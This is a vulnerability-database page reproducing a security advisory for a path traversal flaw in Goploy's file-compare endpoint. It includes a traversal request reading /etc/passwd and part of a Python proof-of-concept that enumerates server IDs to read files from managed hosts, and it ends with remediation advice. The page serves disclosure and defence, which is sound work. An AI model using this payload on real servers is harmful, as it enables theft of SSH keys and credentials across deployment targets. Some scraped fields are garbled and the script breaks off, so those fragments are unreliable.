KEVWire

Security intelligence, with context.

Response snapshot Oct 27, 2026, 16:01 UTC

Back to the wire
Permalink
VulnerabilityCVE-2026-53553

Goploy: Arbitrary File Read via Path Traversal in /deploy/fileDiff allows Remote Server Compromise

Configured two managed remote servers: Created a normal user and assigned the `member` role (which includes File Compare permission):

Published Updated

At a glance

Exploited
Not known
Severity
7.7 High (CVSS 3.1)
Chance of exploitation
Not estimated
Sources
1 source

What to do

GitHub lists first patched versions: github.com/zhenorzz/goploy: 1.18.0. Confirm the affected range and upgrade guidance in the exact advisory.

Read GitHub-reviewed advisory GHSA-4g5x-hcwm-82jw (opens a new tab)

What happened

# Goploy System Arbitrary File Read Vulnerability

## Basic Information - **Vulnerability Name**: Goploy Endpoints Arbitrary File Read via Path Traversal - **Affected Product**: Goploy - **Known Affected Versions**: " \ -H "Content-Type: application/json" \ -H "G-N-ID: 1" \ -d '{"projectId":1,"serverId":1,"filePath":"../../../../../../../../../../etc/passwd"}' \ "http:// /deploy/fileDiff" ``` 3.

**Reproduction Result** The server will return the complete contents of the `/etc/passwd` file from both the host and the remote server.

### Concrete Steps 1. **Environment Setup** Published an arbitrary project using the super admin account:

Continue reading

Configured two managed remote servers:

Created a normal user and assigned the `member` role (which includes File Compare permission):

2. **Obtain Normal User Privileges** Log in to the system using the registered `test` account to obtain valid authentication credentials (Cookie/Token).

3. **Execute poc.py (See below)** * **Parameter Explanation:** `-u` : Target URL `-t` : Target Cookie/Token to use `-f` : File to read `-s` : ID of the managed server to read from

* **Reading from the first managed server (Server ID: 1):** ```bash python poc.py -u http://192.168.x.x:8080 -t eyJhbGxxxxxxxxxx... -f /etc/passwd -s 1 ```

* **Reading from the second managed server (Server ID: 2):** ```bash python poc.py -u http://192.168.x.x:8080 -t eyJhbGxxxxxxxxxx... -f /etc/passwd -s 2 ```

4. **Reproduction Result** The server successfully returns the full contents of the `/etc/passwd` file from both the Goploy host and the designated remote servers.

## Impact Through this vulnerability, an attacker can bypass authorization to read any sensitive files on the host machine as well as all managed target servers. For example: - Read `/etc/passwd` or `/etc/shadow` on the local or remote target servers to obtain host system user information. - Read users' SSH private keys (e.g., `~/.

ssh/id_rsa`) across different systems, enabling passwordless SSH access to the host or cross-network connections to other servers to steal administrative control, achieving the equivalent of Remote Code Execution (RCE). - By enumerating the `serverID`, an attacker can use Goploy as a jump server (bastion host) to conduct large-scale information theft against all bound deployment target systems.

- Obtain various critical configuration files, database credentials, etc., of the affected systems.

## Remediation Suggestions 1. **Input Parameter Filtering**: Strictly filter special characters such as `../`, `..\`, and `%00` that can cause directory traversal and truncation when receiving and processing file paths provided by clients. 2. **Path Whitelist Constraints**: Use built-in functions like `filepath.Clean` to format the path.

Before executing system file read/write operations, strictly verify whether the parsed absolute path prefix is within the legitimate restricted directory scope allowed by the application (such as a preset sandbox directory or project workspace). 3.

**Principle of Least Privilege**: The environment or Docker container running the Goploy service should be executed with low-privileged user identities whenever possible, to mitigate the risk of sensitive system files being read. 4. **Comprehensive API Audit**: Apart from the APIs mentioned above, there are multiple other APIs that suffer from similar path traversal vulnerabilities.

If users obtain the corresponding permissions, it can lead to arbitrary file reads **or even writes**.

## poc.py ```python #!/usr/bin/env python3 import requests import argparse import sys import urllib3 import json

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

def banner(): print(r""" ____ _ ____ ____ / ___| ___ _ __ | | ___ _ _ | _ \ ___ / ___| | | _ / _ \| '_ \| |/ _ \| | | | | |_) / _ \ | | |_| | (_) | |_) | | (_) | |_| | | __/ (_) | |___ \____|\___/| .__/|_|\___/ \__, | |_| \___/ \____| |_| |___/

Goploy Authenticated Arbitrary File Read PoC """)

def exploit(target_url, token, file_read, args): if not target_url.startswith("http"): target_url = "http://" + target_url

target_url = target_url.rstrip('/')

headers = { "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36" }

cookies = { "goploy_token": token }

print("[*] 正在尝试自动从服务器响应中提取利用所需的所有参数ID...")

# 1. 动态获取可用的 Namespace ID namespace_id = 1 print(f"[*] 1. 尝试获取可用的 Namespace ID (/namespace/getOption)") try: r_ns = requests.get(f"{target_url}/namespace/getOption", headers=headers, cookies=cookies, verify=False, timeout=10) ns_data = r_ns.json() if ns_data.get("code") == 0 and len(ns_data.get("data", {}).

get("list", [])) > 0: namespace_id = ns_data["data"]["list"][0]["namespaceId"] print(f"[+] 成功提取到 Namespace ID: {namespace_id}") else: print(f"[-] 提取 Namespace ID 失败或列表为空，将降级使用默认值 1") except Exception as e: print(f"[-] 提取 Namespace ID 发生异常: {e}")

# 将获取到的 Namespace ID 放入后续请求的 Header 中 headers["G-N-ID"] = str(namespace_id)

# 2. 动态获取可用的 Server ID server_id = 1 if args.server_id is not None: server_id = int(args.server_id) print(f"[*] 2. 用户指定了 Server ID: {server_id} ,跳过自动探测。可用于水平提权目标网络！") else: print(f"[*] 2. 尝试获取可用的 Server ID (/server/getOption)") try: r_srv = requests.get(f"{target_url}/server/getOption", headers=headers, cookies=cookies, verify=False, timeout=10) srv_data = r_srv.json() if srv_data.get("code") == 0 and len(srv_data.

get("data", {}).get("list", [])) > 0: server_id = srv_data["data"]["list"][0]["id"] print(f"[+] 成功提取到可用 Server ID: {server_id}") else: print(f"[-] 提取 Server ID 失败或列表为空，将降级尝试猜测值 1") except Exception as e: print(f"[-] 提取 Server ID 发生异常: {e}")

# 3. 动态获取可用的 Project ID project_id = 1 print(f"[*] 3. 尝试获取可用的 Project ID (/deploy/getList)") try: r_proj = requests.get(f"{target_url}/deploy/getList", headers=headers, cookies=cookies, verify=False, timeout=10) proj_data = r_proj.json() if proj_data.get("code") == 0 and len(proj_data.get("data", {

Affected package ranges reported by GitHub: github.com/zhenorzz/goploy: <= 1.17.5

Scores and how they were measured

CVSS base severity

7.7

Version 3.1As of

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N

Measurement source (opens a new tab)

How bad it is if exploited. Not a prediction of exploitation or proof you are exposed.

EPSS probability

Not available

A model's estimate of exploitation in the next 30 days, not certainty or your own risk.

Related technology

Sources

  1. Primary source

    GitHub-reviewed advisory GHSA-4g5x-hcwm-82jw (opens a new tab)

    The public advisory supplies the description, affected package/version ranges, and any listed CVSS metric. GitHub review is not local review.

    Published Checked

  2. Primary source

    GitHub public advisory API page (opens a new tab)

    The API page supplied GHSA-4g5x-hcwm-82jw, its actual identifiers, source dates, and structured metrics.

    Published Date not suppliedChecked

Cite this record

For factual claims, cite the primary sources above; cite KEVWire for its compilation, dates, and classifications.

APA

KEVWire. (2026, October 27). Goploy: Arbitrary File Read via Path Traversal in /deploy/fileDiff allows Remote Server Compromise (CVE-2026-53553). https://kevwire.com/record/CVE-2026-53553

MLA

"Goploy: Arbitrary File Read via Path Traversal in /deploy/fileDiff allows Remote Server Compromise (CVE-2026-53553)." KEVWire, 27 Oct. 2026, kevwire.com/record/CVE-2026-53553.

Chicago

KEVWire. "Goploy: Arbitrary File Read via Path Traversal in /deploy/fileDiff allows Remote Server Compromise (CVE-2026-53553)." Last modified October 27, 2026. https://kevwire.com/record/CVE-2026-53553.

Evidence summary (plain text)

Goploy: Arbitrary File Read via Path Traversal in /deploy/fileDiff allows Remote Server Compromise (Jul 7, 2026).
Configured two managed remote servers:

 Created a normal user and assigned the `member` role (which includes File Compare permission):
CVSS 7.7 (version 3.1; evidence as of Oct 27, 2026; https://github.com/advisories/GHSA-4g5x-hcwm-82jw).
Sources:
GitHub-reviewed advisory GHSA-4g5x-hcwm-82jw: https://github.com/advisories/GHSA-4g5x-hcwm-82jw
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc
Record ID: CVE-2026-53553.
Record origin: Ingested record.
AI evidence: Not assessed.
Known exploitation: Not assessed.
Zero-day status: Not assessed. KEV membership alone does not establish zero-day status.
About this data

This record was ingested from a data source. Retrieved: Oct 27, 2026, 16:00 UTC. Ingestion is not an independent editorial investigation.

A CISA KEV listing documents known exploitation, not necessarily a zero-day; absence from the catalog does not prove a vulnerability has never been exploited.

Technology tags indicate possible relevance, not verified exposure. Confirm the affected product, version, and configuration against your own inventory; KEVWire does not scan your systems.

A personal reading checklist on this device, not verified remediation.

Record JSON

Your account

Email alerts

Email alerts are not available yet. To follow your stack today, use its RSS feed, which honors your filters, or connect an AI agent through the API.

Suggest an improvement

Ideas, missing sources, corrections, and bugs are all welcome. No account needed. Suggestions are reviewed by a person before anything changes.

Record details

Record detail